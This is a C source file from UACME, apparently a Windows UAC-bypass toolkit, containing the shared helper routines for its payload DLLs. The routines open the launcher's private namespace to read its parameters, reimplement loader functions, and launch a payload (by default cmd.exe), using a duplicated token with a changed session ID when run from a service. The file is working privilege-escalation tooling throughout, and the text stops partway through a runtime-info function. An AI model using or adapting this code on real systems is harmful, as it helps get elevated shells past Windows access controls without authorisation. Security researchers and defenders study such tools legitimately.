UACME/Source/Shared/util.c

1770 lines
45 KiB
C

/*******************************************************************************
*
* (C) COPYRIGHT AUTHORS, 2017 - 2019
*
* TITLE: UTIL.C
*
* VERSION: 3.17
*
* DATE: 19 Mar 2019
*
* Global support routines file shared between payload dlls.
*
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
* PARTICULAR PURPOSE.
*
*******************************************************************************/
#undef _TRACE_CALL
#include "shared.h"
/*
* ucmxCreateBoundaryDescriptorSID
*
* Purpose:
*
* Create special SID to access isolated namespace.
*
*/
PSID ucmxCreateBoundaryDescriptorSID(
SID_IDENTIFIER_AUTHORITY *SidAuthority,
UCHAR SubAuthorityCount,
ULONG *SubAuthorities
)
{
BOOL bCond = FALSE, bResult = FALSE;
ULONG i;
PSID pSid = NULL;
do {
pSid = RtlAllocateHeap(
NtCurrentPeb()->ProcessHeap,
HEAP_ZERO_MEMORY,
RtlLengthRequiredSid(SubAuthorityCount));
if (pSid == NULL)
break;
if (!NT_SUCCESS(RtlInitializeSid(pSid, SidAuthority, SubAuthorityCount)))
break;
for (i = 0; i < SubAuthorityCount; i++)
*RtlSubAuthoritySid(pSid, i) = SubAuthorities[i];
bResult = TRUE;
} while (bCond);
if (bResult == FALSE) {
if (pSid) RtlFreeHeap(NtCurrentPeb()->ProcessHeap, 0, pSid);
pSid = NULL;
}
return pSid;
}
/*
* ucmReadSharedParameters
*
* Purpose:
*
* Read shared parameters from Akagi.
*
* Return TRUE on success, FALSE otherwise.
*
*/
_Success_(return == TRUE)
BOOL ucmReadSharedParameters(
_Out_ UACME_PARAM_BLOCK *SharedParameters
)
{
BOOL bCond = FALSE, bResult = FALSE;
ULONG Crc32;
HANDLE hNamespace = NULL, hSection = NULL;
PVOID SectionBuffer = NULL;
SIZE_T ViewSize = PAGE_SIZE;
UNICODE_STRING usName = RTL_CONSTANT_STRING(AKAGI_SHARED_SECTION);
OBJECT_ATTRIBUTES obja;
UACME_PARAM_BLOCK sharedParameters;
do {
hNamespace = ucmOpenAkagiNamespace();
if (hNamespace == NULL)
break;
InitializeObjectAttributes(&obja, &usName, OBJ_CASE_INSENSITIVE, hNamespace, NULL);
if (NT_SUCCESS(NtOpenSection(&hSection, SECTION_ALL_ACCESS, &obja))) {
if (NT_SUCCESS(NtMapViewOfSection(
hSection,
NtCurrentProcess(),
&SectionBuffer,
0,
PAGE_SIZE,
NULL,
&ViewSize,
ViewUnmap,
MEM_TOP_DOWN,
PAGE_READONLY)))
{
RtlSecureZeroMemory(&sharedParameters, sizeof(UACME_PARAM_BLOCK));
RtlCopyMemory(&sharedParameters, SectionBuffer, sizeof(UACME_PARAM_BLOCK));
NtUnmapViewOfSection(NtCurrentProcess(), hSection);
//
// Validate data.
//
Crc32 = sharedParameters.Crc32;
sharedParameters.Crc32 = 0;
if (Crc32 == RtlComputeCrc32(0, &sharedParameters, sizeof(UACME_PARAM_BLOCK))) {
RtlCopyMemory(SharedParameters, &sharedParameters, sizeof(UACME_PARAM_BLOCK));
bResult = TRUE;
}
}
NtClose(hSection);
}
NtClose(hNamespace);
} while (bCond);
return bResult;
}
/*
* ucmOpenAkagiNamespace
*
* Purpose:
*
* Open Akagi private namespace.
*
* Use NtClose on returned handle.
*
*/
HANDLE ucmOpenAkagiNamespace(
VOID
)
{
BOOL bCond = FALSE;
HANDLE hNamespace = NULL;
HANDLE hBoundary = NULL;
PSID pWorldSid;
SID_IDENTIFIER_AUTHORITY SidWorldAuthority = SECURITY_WORLD_SID_AUTHORITY;
UNICODE_STRING usName = RTL_CONSTANT_STRING(BDESCRIPTOR_NAME);
OBJECT_ATTRIBUTES obja = RTL_INIT_OBJECT_ATTRIBUTES((PUNICODE_STRING)NULL, 0);
ULONG SubAuthoritiesWorld[] = { SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0 };
do {
//
// Create and assign boundary descriptor.
//
hBoundary = RtlCreateBoundaryDescriptor(&usName, 0);
if (hBoundary == NULL)
break;
pWorldSid = ucmxCreateBoundaryDescriptorSID(
&SidWorldAuthority,
1,
SubAuthoritiesWorld);
if (pWorldSid == NULL)
break;
if (!NT_SUCCESS(RtlAddSIDToBoundaryDescriptor(&hBoundary, pWorldSid))) {
break;
}
if (!NT_SUCCESS(NtOpenPrivateNamespace(
&hNamespace,
MAXIMUM_ALLOWED,
&obja,
hBoundary)))
{
break;
}
} while (bCond);
if (hBoundary) RtlDeleteBoundaryDescriptor(hBoundary);
return hNamespace;
}
/*
* ucmSetCompletion
*
* Purpose:
*
* Notify Akagi about task completion.
*
*/
VOID ucmSetCompletion(
_In_ LPWSTR lpEvent
)
{
HANDLE hEvent = NULL, hNamespace = NULL;
UNICODE_STRING usName;
OBJECT_ATTRIBUTES obja;
hNamespace = ucmOpenAkagiNamespace();
if (hNamespace) {
RtlInitUnicodeString(&usName, lpEvent);
InitializeObjectAttributes(&obja, &usName, OBJ_CASE_INSENSITIVE, hNamespace, NULL);
if (NT_SUCCESS(NtOpenEvent(&hEvent, EVENT_ALL_ACCESS, &obja))) {
NtSetEvent(hEvent, NULL);
NtClose(hEvent);
}
NtClose(hNamespace);
}
}
/*
* ucmPingBack
*
* Purpose:
*
* Does what it called.
*
*/
VOID ucmPingBack(
VOID
)
{
HANDLE hEvent = NULL;
UNICODE_STRING usSignalEvent = RTL_CONSTANT_STRING(L"\\BaseNamedObjects\\CZ2128");
OBJECT_ATTRIBUTES obja;
#ifdef _TRACE_CALL
OutputDebugString(L"service>ping back\r\n");
#endif
InitializeObjectAttributes(&obja, &usSignalEvent, OBJ_CASE_INSENSITIVE, NULL, NULL);
if (NT_SUCCESS(NtOpenEvent(&hEvent, EVENT_ALL_ACCESS, &obja))) {
#ifdef _TRACE_CALL
OutputDebugString(L"service>>pingback event found");
#endif
NtSetEvent(hEvent, NULL);
NtClose(hEvent);
}
}
/*
* ucmPrivilegeEnabled
*
* Purpose:
*
* Tests if the given token has the given privilege enabled/enabled by default.
*
*/
BOOLEAN ucmPrivilegeEnabled(
_In_ HANDLE hToken,
_In_ ULONG Privilege
)
{
NTSTATUS status;
PRIVILEGE_SET Privs;
BOOLEAN bResult = FALSE;
Privs.Control = PRIVILEGE_SET_ALL_NECESSARY;
Privs.PrivilegeCount = 1;
Privs.Privilege[0].Luid.LowPart = Privilege;
Privs.Privilege[0].Luid.HighPart = 0;
Privs.Privilege[0].Attributes = SE_PRIVILEGE_ENABLED_BY_DEFAULT | SE_PRIVILEGE_ENABLED;
status = NtPrivilegeCheck(hToken, &Privs, &bResult);
RtlSetLastWin32Error(RtlNtStatusToDosError(status));
return bResult;
}
/*
* ucmCreateSyncMutant
*
* Purpose:
*
* Create mutant for synchronization.
*
*/
NTSTATUS ucmCreateSyncMutant(
_Out_ PHANDLE phMutant
)
{
UNICODE_STRING us = RTL_CONSTANT_STRING(L"\\BaseNamedObjects\\Nagumo");
OBJECT_ATTRIBUTES obja;
InitializeObjectAttributes(&obja, &us, OBJ_CASE_INSENSITIVE, NULL, NULL);
return NtCreateMutant(phMutant, MUTANT_ALL_ACCESS, &obja, FALSE);
}
/*
* ucmLdrGetProcAddress
*
* Purpose:
*
* Reimplemented GetProcAddress.
*
*/
LPVOID ucmLdrGetProcAddress(
_In_ PCHAR ImageBase,
_In_ PCHAR RoutineName
)
{
USHORT OrdinalNumber;
PULONG NameTableBase;
PUSHORT NameOrdinalTableBase;
PULONG Addr;
LONG Result, High, Low = 0, Middle = 0;
LPVOID FunctionAddress = NULL;
PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
PIMAGE_FILE_HEADER fh1 = NULL;
PIMAGE_OPTIONAL_HEADER32 oh32 = NULL;
PIMAGE_OPTIONAL_HEADER64 oh64 = NULL;
fh1 = (PIMAGE_FILE_HEADER)((ULONG_PTR)ImageBase + ((PIMAGE_DOS_HEADER)ImageBase)->e_lfanew + sizeof(DWORD));
oh32 = (PIMAGE_OPTIONAL_HEADER32)((ULONG_PTR)fh1 + sizeof(IMAGE_FILE_HEADER));
oh64 = (PIMAGE_OPTIONAL_HEADER64)oh32;
if (fh1->Machine == IMAGE_FILE_MACHINE_AMD64) {
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((ULONG_PTR)ImageBase +
oh64->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
}
else {
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((ULONG_PTR)ImageBase +
oh32->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
}
NameTableBase = (PULONG)(ImageBase + (ULONG)ExportDirectory->AddressOfNames);
NameOrdinalTableBase = (PUSHORT)(ImageBase + (ULONG)ExportDirectory->AddressOfNameOrdinals);
High = ExportDirectory->NumberOfNames - 1;
while (High >= Low) {
Middle = (Low + High) >> 1;
Result = _strcmpi_a(
RoutineName,
(PCHAR)(ImageBase + NameTableBase[Middle])
);
if (Result < 0)
High = Middle - 1;
else
if (Result > 0)
Low = Middle + 1;
else
break;
} //while
if (High < Low)
return NULL;
OrdinalNumber = NameOrdinalTableBase[Middle];
if ((ULONG)OrdinalNumber >= ExportDirectory->NumberOfFunctions)
return NULL;
Addr = (PDWORD)((DWORD_PTR)ImageBase + ExportDirectory->AddressOfFunctions);
FunctionAddress = (LPVOID)((DWORD_PTR)ImageBase + Addr[OrdinalNumber]);
return FunctionAddress;
}
/*
* ucmGetStartupInfo
*
* Purpose:
*
* Reimplemented GetStartupInfoW.
*
*/
VOID ucmGetStartupInfo(
_In_ LPSTARTUPINFOW lpStartupInfo
)
{
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
if (lpStartupInfo == NULL) {
return;
}
ProcessParameters = NtCurrentPeb()->ProcessParameters;
lpStartupInfo->cb = sizeof(*lpStartupInfo);
lpStartupInfo->lpReserved = (LPWSTR)ProcessParameters->ShellInfo.Buffer;
lpStartupInfo->lpDesktop = (LPWSTR)ProcessParameters->DesktopInfo.Buffer;
lpStartupInfo->lpTitle = (LPWSTR)ProcessParameters->WindowTitle.Buffer;
lpStartupInfo->dwX = ProcessParameters->StartingX;
lpStartupInfo->dwY = ProcessParameters->StartingY;
lpStartupInfo->dwXSize = ProcessParameters->CountX;
lpStartupInfo->dwYSize = ProcessParameters->CountY;
lpStartupInfo->dwXCountChars = ProcessParameters->CountCharsX;
lpStartupInfo->dwYCountChars = ProcessParameters->CountCharsY;
lpStartupInfo->dwFillAttribute = ProcessParameters->FillAttribute;
lpStartupInfo->dwFlags = ProcessParameters->WindowFlags;
lpStartupInfo->wShowWindow = (WORD)ProcessParameters->ShowWindowFlags;
lpStartupInfo->cbReserved2 = ProcessParameters->RuntimeData.Length;
lpStartupInfo->lpReserved2 = (LPBYTE)ProcessParameters->RuntimeData.Buffer;
if (lpStartupInfo->dwFlags & (STARTF_USESTDHANDLES | STARTF_USEHOTKEY)) {
lpStartupInfo->hStdInput = ProcessParameters->StandardInput;
lpStartupInfo->hStdOutput = ProcessParameters->StandardOutput;
lpStartupInfo->hStdError = ProcessParameters->StandardError;
}
}
/*
* ucmExpandEnvironmentStrings
*
* Purpose:
*
* Reimplemented ExpandEnvironmentStrings.
*
*/
DWORD ucmExpandEnvironmentStrings(
_In_ LPCWSTR lpSrc,
_Out_writes_to_opt_(nSize, return) LPWSTR lpDst,
_In_ DWORD nSize
)
{
NTSTATUS Status;
SIZE_T SrcLength = 0, ReturnLength = 0, DstLength = (SIZE_T)nSize;
if (lpSrc) {
SrcLength = _strlen(lpSrc);
}
Status = RtlExpandEnvironmentStrings(
NULL,
(PWSTR)lpSrc,
SrcLength,
(PWSTR)lpDst,
DstLength,
&ReturnLength);
if ((NT_SUCCESS(Status)) || (Status == STATUS_BUFFER_TOO_SMALL)) {
if (ReturnLength <= MAXDWORD32)
return (DWORD)ReturnLength;
Status = STATUS_UNSUCCESSFUL;
}
RtlSetLastWin32Error(RtlNtStatusToDosError(Status));
return 0;
}
/*
* ucmGetSystemInfo
*
* Purpose:
*
* Returns buffer with system information by given InfoClass.
*
* Returned buffer must be freed with HeapFree after usage.
* Function will return error after 20 attempts.
*
*/
PVOID ucmGetSystemInfo(
_In_ SYSTEM_INFORMATION_CLASS InfoClass
)
{
INT c = 0;
PVOID Buffer = NULL;
ULONG Size = PAGE_SIZE;
NTSTATUS status;
ULONG memIO;
do {
Buffer = RtlAllocateHeap(NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, (SIZE_T)Size);
if (Buffer != NULL) {
status = NtQuerySystemInformation(InfoClass, Buffer, Size, &memIO);
}
else {
return NULL;
}
if (status == STATUS_INFO_LENGTH_MISMATCH) {
RtlFreeHeap(NtCurrentPeb()->ProcessHeap, 0, Buffer);
Buffer = NULL;
Size *= 2;
c++;
if (c > 20) {
status = STATUS_SECRET_TOO_LONG;
break;
}
}
} while (status == STATUS_INFO_LENGTH_MISMATCH);
if (NT_SUCCESS(status)) {
return Buffer;
}
if (Buffer) {
RtlFreeHeap(NtCurrentPeb()->ProcessHeap, 0, Buffer);
}
return NULL;
}
/*
* ucmLaunchPayload
*
* Purpose:
*
* Run payload (by default cmd.exe from system32)
*
*/
BOOL ucmLaunchPayload(
_In_opt_ LPWSTR pszPayload,
_In_opt_ DWORD cbPayload)
{
BOOL bResult = FALSE, bCommandLineAllocated = FALSE;
WCHAR cmdbuf[MAX_PATH * 2]; //complete process command line
WCHAR sysdir[MAX_PATH + 1]; //process working directory
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInfo;
DWORD dwCreationFlags = CREATE_NEW_CONSOLE;
HANDLE ProcessHeap = NtCurrentPeb()->ProcessHeap;
LPWSTR lpApplicationName = NULL, lpCommandLine = NULL;
SIZE_T memIO;
//
// Query working directory.
//
// Note: 2.84
// To provide compatibility with %systemroot% replacement method (44) read systemroot from UserSharedData.
//
RtlSecureZeroMemory(sysdir, sizeof(sysdir));
_strcpy(sysdir, USER_SHARED_DATA->NtSystemRoot);
_strcat(sysdir, L"\\system32\\");
//
// Query startup info from parent.
//
RtlSecureZeroMemory(&startupInfo, sizeof(startupInfo));
startupInfo.cb = sizeof(startupInfo);
ucmGetStartupInfo(&startupInfo);
//
// Determine what we want to execute, custom parameter or default cmd.exe
//
if ((pszPayload) && (cbPayload)) {
//
// We can use custom payload, copy it to internal buffer.
//
memIO = PAGE_SIZE + (SIZE_T)cbPayload;
lpCommandLine = (LPWSTR)RtlAllocateHeap(
ProcessHeap,
HEAP_ZERO_MEMORY,
(SIZE_T)memIO);
if (lpCommandLine) {
dwCreationFlags = 0;
bCommandLineAllocated = TRUE;
RtlCopyMemory(
lpCommandLine,
pszPayload,
cbPayload);
}
}
else {
//
// Default cmd.exe should be started.
//
RtlSecureZeroMemory(cmdbuf, sizeof(cmdbuf));
_strcpy(cmdbuf, sysdir);
_strcat(cmdbuf, L"cmd.exe");
lpApplicationName = cmdbuf;
lpCommandLine = NULL;
bCommandLineAllocated = FALSE;
dwCreationFlags = CREATE_NEW_CONSOLE;
}
startupInfo.dwFlags = STARTF_USESHOWWINDOW;
startupInfo.wShowWindow = SW_SHOW;
RtlSecureZeroMemory(&processInfo, sizeof(processInfo));
//
// Launch payload.
//
bResult = CreateProcessAsUser(NULL,
lpApplicationName,
lpCommandLine,
NULL,
NULL,
FALSE,
dwCreationFlags,
NULL,
sysdir,
&startupInfo,
&processInfo);
if (bResult) {
//
// We don't need these handles, close them.
//
NtClose(processInfo.hProcess);
NtClose(processInfo.hThread);
}
//
// Post execution cleanup if required.
//
if (bCommandLineAllocated)
RtlFreeHeap(ProcessHeap, 0, lpCommandLine);
return bResult;
}
/*
* ucmLaunchPayloadEx
*
* Purpose:
*
* Run payload (by default cmd.exe from system32)
*
*/
BOOL ucmLaunchPayloadEx(
_In_ PFNCREATEPROCESSW pCreateProcess,
_In_opt_ LPWSTR pszPayload,
_In_opt_ DWORD cbPayload)
{
BOOL bResult = FALSE, bCommandLineAllocated = FALSE;
WCHAR cmdbuf[MAX_PATH * 2]; //complete process command line
WCHAR sysdir[MAX_PATH + 1]; //process working directory
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInfo;
DWORD dwCreationFlags = CREATE_NEW_CONSOLE, cch;
HANDLE ProcessHeap = NtCurrentPeb()->ProcessHeap;
LPWSTR lpApplicationName = NULL, lpCommandLine = NULL;
SIZE_T memIO;
if (pCreateProcess == NULL)
return bResult;
//
// Query working directory.
//
RtlSecureZeroMemory(sysdir, sizeof(sysdir));
cch = ucmExpandEnvironmentStrings(L"%systemroot%\\system32\\", sysdir, MAX_PATH);
if ((cch == 0) || (cch > MAX_PATH))
return bResult;
//
// Query startup info from parent.
//
RtlSecureZeroMemory(&startupInfo, sizeof(startupInfo));
startupInfo.cb = sizeof(startupInfo);
ucmGetStartupInfo(&startupInfo);
//
// Determine what we want to execute, custom parameter or default cmd.exe
//
if ((pszPayload) && (cbPayload)) {
//
// We can use custom payload, copy it to internal buffer.
//
memIO = PAGE_SIZE + (SIZE_T)cbPayload;
lpCommandLine = (LPWSTR)RtlAllocateHeap(
ProcessHeap,
HEAP_ZERO_MEMORY,
(SIZE_T)memIO);
if (lpCommandLine) {
dwCreationFlags = 0;
bCommandLineAllocated = TRUE;
RtlCopyMemory(
lpCommandLine,
pszPayload,
cbPayload);
}
}
else {
//
// Default cmd.exe should be started.
//
RtlSecureZeroMemory(cmdbuf, sizeof(cmdbuf));
_strcpy(cmdbuf, sysdir);
_strcat(cmdbuf, L"cmd.exe");
lpApplicationName = cmdbuf;
lpCommandLine = NULL;
bCommandLineAllocated = FALSE;
dwCreationFlags = CREATE_NEW_CONSOLE;
}
startupInfo.dwFlags = STARTF_USESHOWWINDOW;
startupInfo.wShowWindow = SW_SHOW;
RtlSecureZeroMemory(&processInfo, sizeof(processInfo));
//
// Launch payload.
//
bResult = pCreateProcess(
lpApplicationName,
lpCommandLine,
NULL,
NULL,
FALSE,
dwCreationFlags,
NULL,
sysdir,
&startupInfo,
&processInfo);
if (bResult) {
//
// We don't need these handles, close them.
//
NtClose(processInfo.hProcess);
NtClose(processInfo.hThread);
}
//
// Post execution cleanup if required.
//
if (bCommandLineAllocated)
RtlFreeHeap(ProcessHeap, 0, lpCommandLine);
return bResult;
}
/*
* ucmLaunchPayload2
*
* Purpose:
*
* Run payload (by default cmd.exe from system32)
*
*/
BOOL ucmLaunchPayload2(
_In_ BOOL bIsLocalSystem,
_In_ ULONG SessionId,
_In_opt_ LPWSTR pszPayload,
_In_opt_ DWORD cbPayload)
{
BOOL bResult = FALSE, bCommandLineAllocated = FALSE, bSrvExec = FALSE, bCond = FALSE;
WCHAR cmdbuf[MAX_PATH * 2]; //complete process command line
WCHAR sysdir[MAX_PATH + 1]; //process working directory
STARTUPINFO startupInfo;
PROCESS_INFORMATION processInfo;
DWORD dwCreationFlags = CREATE_NEW_CONSOLE, cch;
HANDLE ProcessHeap = NtCurrentPeb()->ProcessHeap;
LPWSTR lpApplicationName = NULL, lpCommandLine = NULL;
SIZE_T memIO;
NTSTATUS status;
HANDLE hToken = NULL, hDupToken = NULL;
SECURITY_QUALITY_OF_SERVICE sqos;
OBJECT_ATTRIBUTES obja;
ULONG CurrentSessionId = NtCurrentPeb()->SessionId;
#ifdef _TRACE_CALL
WCHAR szDebugBuf[1000];
#endif //_TRACE_CALL
do {
bSrvExec = ((bIsLocalSystem) && (CurrentSessionId != SessionId));
#ifdef _TRACE_CALL
if (bSrvExec)
OutputDebugString(L"bServExec");
#endif //_TRACE_CALL
//
// In case of service start, prepare token for CreateProcessAsUser.
// Set token session id, to do this we need SE_TCB_PRIVILEGE, check it enabled.
//
if (bSrvExec) {
status = NtOpenProcessToken(
NtCurrentProcess(),
TOKEN_ALL_ACCESS,
&hToken);
if (!NT_SUCCESS(status)) {
#ifdef _TRACE_CALL
_strcpy(szDebugBuf, L"NtOpenProcessToken = 0x");
ultohex(status, _strend(szDebugBuf));
_strcat(szDebugBuf, L"\r\n");
OutputDebugString(szDebugBuf);
#endif //_TRACE_CALL
break;
}
#ifdef _TRACE_CALL
if (!ucmPrivilegeEnabled(hToken, SE_ASSIGNPRIMARYTOKEN_PRIVILEGE)) {
OutputDebugString(L"ucmPrivilegeEnabled->SE_ASSIGNPRIMARYTOKEN_PRIVILEGE not set\r\n");
}
#endif //_TRACE_CALL
if (!ucmPrivilegeEnabled(hToken, SE_TCB_PRIVILEGE)) {
#ifdef _TRACE_CALL
OutputDebugString(L"ucmPrivilegeEnabled->SE_TCB_PRIVILEGE not set\r\n");
#endif //_TRACE_CALL
break;
}
sqos.Length = sizeof(SECURITY_QUALITY_OF_SERVICE);
sqos.ImpersonationLevel = SecurityImpersonation;
sqos.ContextTrackingMode = 0;
sqos.EffectiveOnly = FALSE;
InitializeObjectAttributes(&obja, NULL, 0, NULL, NULL);
obja.SecurityQualityOfService = &sqos;
status = NtDuplicateToken(
hToken,
TOKEN_ALL_ACCESS,
&obja,
FALSE,
TokenPrimary,
&hDupToken);
if (!NT_SUCCESS(status)) {
#ifdef _TRACE_CALL
_strcpy(szDebugBuf, L"NtDuplicateToken = 0x");
ultohex(status, _strend(szDebugBuf));
_strcat(szDebugBuf, L"\r\n");
OutputDebugString(szDebugBuf);
#endif //_TRACE_CALL
break;
}
status = NtSetInformationToken(
hDupToken,
TokenSessionId,
(PVOID)&SessionId,
sizeof(ULONG));
if (!NT_SUCCESS(status)) {
#ifdef _TRACE_CALL
_strcpy(szDebugBuf, L"NtSetInformationToken = 0x");
ultohex(status, _strend(szDebugBuf));
_strcat(szDebugBuf, L"\r\n");
OutputDebugString(szDebugBuf);
#endif //_TRACE_CALL
break;
}
}
else {
//
// Not a service start, use default token value.
//
hDupToken = NULL;
}
//
// Query working directory.
//
RtlSecureZeroMemory(sysdir, sizeof(sysdir));
cch = ucmExpandEnvironmentStrings(L"%systemroot%\\system32\\", sysdir, MAX_PATH);
if ((cch == 0) || (cch > MAX_PATH)) {
#ifdef _TRACE_CALL
OutputDebugString(L"ucmExpandEnvironmentStrings failed");
#endif //_TRACE_CALL
break;
}
#ifdef _TRACE_CALL
OutputDebugString(sysdir);
#endif //_TRACE_CALL
//
// Query startup info from parent.
//
RtlSecureZeroMemory(&startupInfo, sizeof(startupInfo));
startupInfo.cb = sizeof(startupInfo);
ucmGetStartupInfo(&startupInfo);
//
// Determine what we want to execute, custom parameter or default cmd.exe
//
if ((pszPayload) && (cbPayload)) {
#ifdef _TRACE_CALL
OutputDebugString(L"payload present\r\n");
#endif //_TRACE_CALL
//
// We can use custom payload, copy it to internal buffer.
//
memIO = PAGE_SIZE + (SIZE_T)cbPayload;
lpCommandLine = (LPWSTR)RtlAllocateHeap(
ProcessHeap,
HEAP_ZERO_MEMORY,
(SIZE_T)memIO);
if (lpCommandLine) {
dwCreationFlags = 0;
bCommandLineAllocated = TRUE;
RtlCopyMemory(
lpCommandLine,
pszPayload,
cbPayload);
}
}
else {
//
// Default cmd.exe should be started.
//
RtlSecureZeroMemory(cmdbuf, sizeof(cmdbuf));
_strcpy(cmdbuf, sysdir);
_strcat(cmdbuf, L"cmd.exe");
lpApplicationName = cmdbuf;
lpCommandLine = NULL;
bCommandLineAllocated = FALSE;
dwCreationFlags = CREATE_NEW_CONSOLE;
}
startupInfo.dwFlags = STARTF_USESHOWWINDOW;
startupInfo.wShowWindow = SW_SHOW;
RtlSecureZeroMemory(&processInfo, sizeof(processInfo));
//
// In case of start from service, force default WinStation and Desktop.
//
// Future note: maybe moved to registry settings as custom winsta param.
//
if (bSrvExec) {
startupInfo.lpDesktop = TEXT("Winsta0\\Default");
}
//
// Launch payload.
//
bResult = CreateProcessAsUser(
hDupToken,
lpApplicationName,
lpCommandLine,
NULL,
NULL,
FALSE,
dwCreationFlags,
NULL,
sysdir,
&startupInfo,
&processInfo);
if (bResult) {
#ifdef _TRACE_CALL
OutputDebugString(L"CreateProcessAsUser success\r\n");
#endif //_TRACE_CALL
//
// We don't need these handles, close them.
//
NtClose(processInfo.hProcess);
NtClose(processInfo.hThread);
}
#ifdef _TRACE_CALL
else {
_strcpy(szDebugBuf, L"CreateProcessAsUser failed with code = 0x");
ultohex(GetLastError(), _strend(szDebugBuf));
_strcat(szDebugBuf, L"\r\n");
OutputDebugString(szDebugBuf);
}
#endif //_TRACE_CALL
} while (bCond);
//
// Post execution cleanup if required.
//
if (bCommandLineAllocated)
RtlFreeHeap(ProcessHeap, 0, lpCommandLine);
if (bSrvExec) {
if (hToken)
NtClose(hToken);
if (hDupToken)
NtClose(hDupToken);
}
return bResult;
}
/*
* ucmQueryRuntimeInfo
*
* Purpose:
*
* Output current process runtime information.
*
*/
LPWSTR ucmQueryRuntimeInfo(
_In_ BOOL ReturnData)
{
BOOL bFound = FALSE;
NTSTATUS status;
DWORD dwIntegrityLevel;
ULONG LengthNeeded = 0;
ULONG SessionId = NtCurrentPeb()->SessionId;
HANDLE hToken = NULL;
HANDLE hHeap = NtCurrentPeb()->ProcessHeap;
PTOKEN_MANDATORY_LABEL pTIL = NULL;
TOKEN_USER *ptu = NULL;
PROCESS_BASIC_INFORMATION pbi;
PROCESS_EXTENDED_BASIC_INFORMATION pebi;
PSYSTEM_PROCESSES_INFORMATION ProcessList, pList;
LSA_OBJECT_ATTRIBUTES lobja;
LSA_HANDLE PolicyHandle = NULL;
PLSA_REFERENCED_DOMAIN_LIST ReferencedDomains = NULL;
PLSA_TRANSLATED_NAME Names = NULL;
SECURITY_QUALITY_OF_SERVICE SecurityQualityOfService;
LPWSTR lpReport, lpValue = TEXT("Unknown");
WCHAR szBuffer[MAX_PATH + 1];
RtlSecureZeroMemory(&szBuffer, sizeof(szBuffer));
if (GetModuleFileName(NULL, (LPWSTR)&szBuffer, MAX_PATH) == 0)
return NULL;
lpReport = (LPWSTR)RtlAllocateHeap(
hHeap,
HEAP_ZERO_MEMORY,
0x2000);
if (lpReport == NULL)
return NULL;
//
// 1. Attach module name.
//
_strncpy(lpReport, MAX_PATH, szBuffer, MAX_PATH);
//
// 2. Inherited from.
//
RtlSecureZeroMemory(&pbi, sizeof(PROCESS_BASIC_INFORMATION));
status = NtQueryInformationProcess(
NtCurrentProcess(),
ProcessBasicInformation,
&pbi,
sizeof(PROCESS_BASIC_INFORMATION),
&LengthNeeded);
if (NT_SUCCESS(status)) {
_strcpy(szBuffer, TEXT("\r\nInherited from PID="));
#ifdef _WIN64
u64tostr(pbi.InheritedFromUniqueProcessId, _strend(szBuffer));
#else
ultostr((ULONG)pbi.InheritedFromUniqueProcessId, _strend(szBuffer));
#endif
_strcat(lpReport, szBuffer);
_strcat(lpReport, TEXT(" ("));
RtlSecureZeroMemory(szBuffer, sizeof(szBuffer));
bFound = FALSE;
ProcessList = (PSYSTEM_PROCESSES_INFORMATION)ucmGetSystemInfo(SystemProcessInformation);
if (ProcessList) {
pList = ProcessList;
for (;;) {
if ((ULONG_PTR)pList->UniqueProcessId == pbi.InheritedFromUniqueProcessId) {
_strncpy(szBuffer,
MAX_PATH,
pList->ImageName.Buffer,
pList->ImageName.Length / sizeof(WCHAR));
bFound = TRUE;
break;
}
if (pList->NextEntryDelta == 0) {
break;
}
pList = (PSYSTEM_PROCESSES_INFORMATION)(((LPBYTE)pList) + pList->NextEntryDelta);
}
RtlFreeHeap(hHeap, 0, ProcessList);
}
if (bFound) {
_strcat(lpReport, szBuffer);
}
else {
_strcat(lpReport, TEXT("Non-existent Process"));
}
_strcat(lpReport, TEXT(")"));
}
//
// 3. Query various token releated data.
//
//
// 3.1 Integrity value.
// 3.2 User\Domain name
// 3.3 Session info
//
status = NtOpenProcessToken(
NtCurrentProcess(),
TOKEN_QUERY,
&hToken);
if (NT_SUCCESS(status)) {
LengthNeeded = 0;
status = NtQueryInformationToken(
hToken,
TokenIntegrityLevel,
NULL,
0,
&LengthNeeded);
if (status == STATUS_BUFFER_TOO_SMALL) {
pTIL = (PTOKEN_MANDATORY_LABEL)RtlAllocateHeap(
hHeap,
HEAP_ZERO_MEMORY,
LengthNeeded);
if (pTIL) {
status = NtQueryInformationToken(
hToken,
TokenIntegrityLevel,
pTIL,
LengthNeeded,
&LengthNeeded);
if (NT_SUCCESS(status)) {
dwIntegrityLevel = *RtlSubAuthoritySid(pTIL->Label.Sid,
(DWORD)(UCHAR)(*RtlSubAuthorityCountSid(pTIL->Label.Sid) - 1));
if (dwIntegrityLevel == SECURITY_MANDATORY_UNTRUSTED_RID) {
lpValue = L"UntrustedIL";
}
else if (dwIntegrityLevel == SECURITY_MANDATORY_LOW_RID) {
lpValue = L"LowIL";
}
else if (dwIntegrityLevel >= SECURITY_MANDATORY_MEDIUM_RID &&
dwIntegrityLevel < SECURITY_MANDATORY_HIGH_RID) //skip SECURITY_MANDATORY_MEDIUM_PLUS_RID
{
lpValue = L"MediumIL";
}
else if (dwIntegrityLevel >= SECURITY_MANDATORY_HIGH_RID &&
dwIntegrityLevel < SECURITY_MANDATORY_SYSTEM_RID)
{
lpValue = L"HighIL";
}
else if (dwIntegrityLevel >= SECURITY_MANDATORY_SYSTEM_RID &&
dwIntegrityLevel < SECURITY_MANDATORY_PROTECTED_PROCESS_RID)
{
lpValue = L"SystemIL";
}
else if (dwIntegrityLevel >= SECURITY_MANDATORY_PROTECTED_PROCESS_RID)
{
lpValue = L"ProtectedProcessIL";
}
_strcpy(szBuffer, TEXT("\r\nPID="));
ultostr((ULONG)GetCurrentProcessId(), _strend(szBuffer));
_strcat(szBuffer, TEXT(", "));
_strncpy(_strend(szBuffer), 40, lpValue, 40);
_strcat(lpReport, szBuffer);
}
